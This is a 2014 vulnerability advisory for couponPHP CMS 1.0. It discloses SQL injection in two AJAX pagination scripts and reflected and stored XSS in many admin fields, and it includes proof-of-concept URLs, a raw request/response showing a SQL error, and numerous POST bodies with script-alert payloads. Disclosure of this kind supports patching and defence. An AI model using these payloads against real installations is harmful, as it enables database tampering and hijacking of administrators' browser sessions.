couponPHP CMS 1.0 Multiple Stored XSS and SQL Injection Vulnerabilities Vendor: couponPHP Product web page: http://www.couponphp.com Affected version: 1.0 Summary: couponPHP is a revolutionary content management system for running Coupon and Deal websites. It is feature rich, powerful, beautifully designed and fully automatic. Desc: couponPHP is vulnerable to multiple Stored XSS and SQL Injection issues. Input passed via the parameters 'iDisplayLength' and 'iDisplayStart' in 'comments_paginate.php' and 'stores_paginate.php' scripts are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The parameter 'sEcho' in 'comments_paginate.php' and 'stores_paginate.php' and the parameters 'affiliate_url', 'description', 'domain', 'seo[description]', 'seo[heading]', 'seo[title]', 'seo[keywords]', 'setting[logo]', 'setting[perpage]' and 'setting[sitename]' in '/admin/index.php' script are vulnerable to stored XSS issues where the attacker can execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache/2.2.14(Ubuntu) PHP/5.3.2-1ubuntu4.14 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5170 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5170.php 01.02.2014 -- SQL Injections: ---------------- http://localhost/admin/ajax/comments_paginate.php?sEcho=1&iColumns=7&sColumns=&iDisplayStart=0[SQL Inject]&iDisplayLength=250[SQL Inject] http://localhost/admin/ajax/stores_paginate.php?sEcho=1&iColumns=12&sColumns=&iDisplayStart=0[SQL Inject]&iDisplayLength=250[SQL Inject] Full Request/Response Sample: ------------------------------ GET /admin/ajax/stores_paginate.php?sEcho=1&iColumns=12&sColumns=&iDisplayStart=0&iDisplayLength=250'&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&mDataProp_7=7&mDataProp_8=8&mDataProp_9=9&mDataProp_10=10&mDataProp_11=11&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&sSearch_7=&bRegex_7=false&bSearchable_7=true&sSearch_8=&bRegex_8=false&bSearchable_8=true&sSearch_9=&bRegex_9=false&bSearchable_9=true&sSearch_10=&bRegex_10=false&bSearchable_10=true&sSearch_11=&bRegex_11=false&bSearchable_11=true&iSortingCols=0&bSortable_0=false&bSortable_1=false&bSortable_2=true&bSortable_3=true&bSortable_4=false&bSortable_5=true&bSortable_6=true&bSortable_7=true&bSortable_8=true&bSortable_9=true&bSortable_10=false&bSortable_11=false HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost/admin/index.php?menu=stores_manage Cookie: [removed] Connection: keep-alive HTTP/1.1 200 OK Date: Sun, 02 Feb 2014 17:27:42 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 153 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 #277 ----------------------- Reflected and Persistent XSS: ------------------------------ http://localhost/admin/ajax/comments_paginate.php?sEcho=1"><script>alert(1);</script> (Reflected, GET) http://localhost/admin/ajax/stores_paginate.php?sEcho=1"><script>alert(1);</script> (Reflected, GET) http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane2&affiliate_url=kakodane"><script>alert(1)</script>&seo%5Btitle%5D=&seo%5Bkeywords%5D=&seo%5Bdescription%5D=&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane<script>alert(1)</script>&affiliate_url=kakodane3&seo%5Btitle%5D=&seo%5Bkeywords%5D=&seo%5Bdescription%5D=&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane"><script>alert(1)</script>&description=kakodane2&affiliate_url=kakodane3&seo%5Btitle%5D=&seo%5Bkeywords%5D=&seo%5Bdescription%5D=&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane2&affiliate_url=kakodane3&seo%5Btitle%5D=&seo%5Bkeywords%5D=&seo%5Bdescription%5D=<script>alert(1)</script>&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane2&affiliate_url=kakodane3&seo%5Btitle%5D=&seo%5Bkeywords%5D=&seo%5Bdescription%5D=&seo%5Bheading%5D="><script>alert(1);</script>&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane2&affiliate_url=kakodane3&seo%5Btitle%5D=&seo%5Bkeywords%5D="><script>alert(1)</script>&seo%5Bdescription%5D=&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - thumbnail=store_8f08c534d509e7dd8a19906a0c0622a5.jpg&title=Testing101&domain=kakodane&description=kakodane2&affiliate_url=kakodane3&seo%5Btitle%5D="><script>alert(1)</script>&seo%5Bkeywords%5D=&seo%5Bdescription%5D=&seo%5Bheading%5D=&categories%5B%5D=3&categories%5B%5D=17&categories%5B%5D=35&categories%5B%5D=47&menu=stores_new&add_store=Add+store http://localhost/admin/index.php (Persistent, POST) - setting%5Bsitename%5D=couponPHP"><script>alert(1)</script>&setting%5Blogo%5D=logo_e3c61f6eb1039f2b1f02301a7635b7af.jpg&setting%5Bperpage%5D=50&setting%5Ballow_submit%5D=on&menu=settings_general&setting_name=site&tab=1&save_setting=Save http://localhost/admin/index.php (Persistent, POST) - setting%5Bsitename%5D=couponPHP&setting%5Blogo%5D=logo_e3c61f6eb1039f2b1f02301a7635b7af.jpg&setting%5Bperpage%5D=50"><script>alert(1)</script>&setting%5Ballow_submit%5D=on&menu=settings_general&setting_name=site&tab=1&save_setting=Save http://localhost/admin/index.php (Persistent, POST) - setting%5Bsitename%5D=couponPHP&setting%5Blogo%5D=logo_e3c61f6eb1039f2b1f02301a7635b7af.jpg"><script>alert(1)</script>&setting%5Bperpage%5D=50&setting%5Ballow_submit%5D=on&menu=settings_general&setting_name=site&tab=1&save_setting=Save